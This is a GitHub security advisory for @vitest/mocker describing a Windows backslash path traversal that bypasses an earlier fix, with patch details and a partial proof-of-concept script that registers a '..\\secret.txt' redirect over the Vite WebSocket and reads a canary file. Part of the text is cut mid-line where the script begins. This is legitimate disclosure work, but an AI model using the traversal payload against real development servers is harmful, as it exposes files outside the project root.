GitHub Advisoryadvisory · npm
GHSA-xp26-3454-mjgp Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix
MEDIUM
Official page ↗
- Aliases
- CVE-2026-112950
- Ecosystem
- npm
- Packages
- @vitest/mocker
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2026-10-21
Affected packages
• npm @vitest/mocker: >= 4.1.11, < 4.1.12 → fixed in 4.1.12
• npm @vitest/mocker: >= 5.0.0-rc.2, < 5.0.3 → fixed in 5.0.3
Description
Summary
The path traversal fix released for GHSA-82fw-gwwq-j7x9 can be bypassed on Windows by using a backslash in the redirect URL pathname.
The fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\secret.txt` retains `..\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.
I reproduced the issue with the published `@vitest/mocker` packages in both fixed release lines:
• `@vitest/[email protected]`
• `@vitest/[email protected]`
The current `main` source at commit `2ce29d5fa758046e5453bd92b8ed6c9da9709bb5` has the same behavior.
Patches
Fixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so `..\` resolves the same as `../` and the allowlist check rejects it.
Relationship to GHSA-82fw-gwwq-j7x9
This is a bypass of the accepted fix, not a separate unrelated path. It uses the same `vitest:interceptor:register` redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.
The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:
• `4.1.11`
• `>=5.0.0-rc.2, {
const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
socket.on('message', (raw) => {
let message
try { message = JSON.parse(raw.toString()) } catch { return }
if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
clearTimeout(timer)
socket.close()
resolve()
}
})
socket.on('open', () => socket.send(JSON.stringify({
type: 'custom',
event: 'vitest:interceptor:register',
data: { type: 'redirect', raw: '', id, url: id, redirect },
})))
socket.on('error', reject)
})
}
try {
await register('/control', 'traversal:../secret.txt')
const controlResponse = await fetch(new URL('/control', baseUrl))
const controlBody = await controlResponse.text()
await register('/bypass', 'traversal:..\\secret.txt')
const bypassResponse = await fetch(new URL('/bypass', baseUrl))
const bypassBody = await bypassResponse.text()
const result = {
platform: process.platform,
root,
outsideFile: secret,
slashTraversalStatus: controlResponse.status,
slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
backslashTraversalStatus: bypassResponse.status,
backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
}
console.log(JSON.stringify(result, null, 2))
const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
? !result.backslashTraversalReturnedOutsideCanary
: result.backslashTraversalReturnedOutsideCanary
if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
await server.close()
}
```
Observed with `@vitest/[email protected]`:
```json
{
"platform": "win32",
"slashTraversalStatus": 404,
"slashTraversalRejected": true,
"backslashTraversalStatus": 200,
"backslashTraversalReturnedOutsideCanary": true,
"returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
"expectedBackslashTraversalBlocked": false
}
```
The same result was observed with `@vitest/[email protected]`.
This includes two useful controls:
1. `traversal:../secret.txt` is rejected and returns 404, confirming the published forward-slash fix is active.
2. `traversal:..\secret.txt` returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.
Related
Alias · CVE (1)
- CVE-2026-112950 Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
References
- https://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgp web
- https://nvd.nist.gov/vuln/detail/CVE-2026-112950 advisory
- https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35 web
- https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473 web
- https://github.com/vitest-dev/vitest package
- https://github.com/vitest-dev/vitest/releases/tag/v4.1.12 web
- https://github.com/vitest-dev/vitest/releases/tag/v5.0.3 web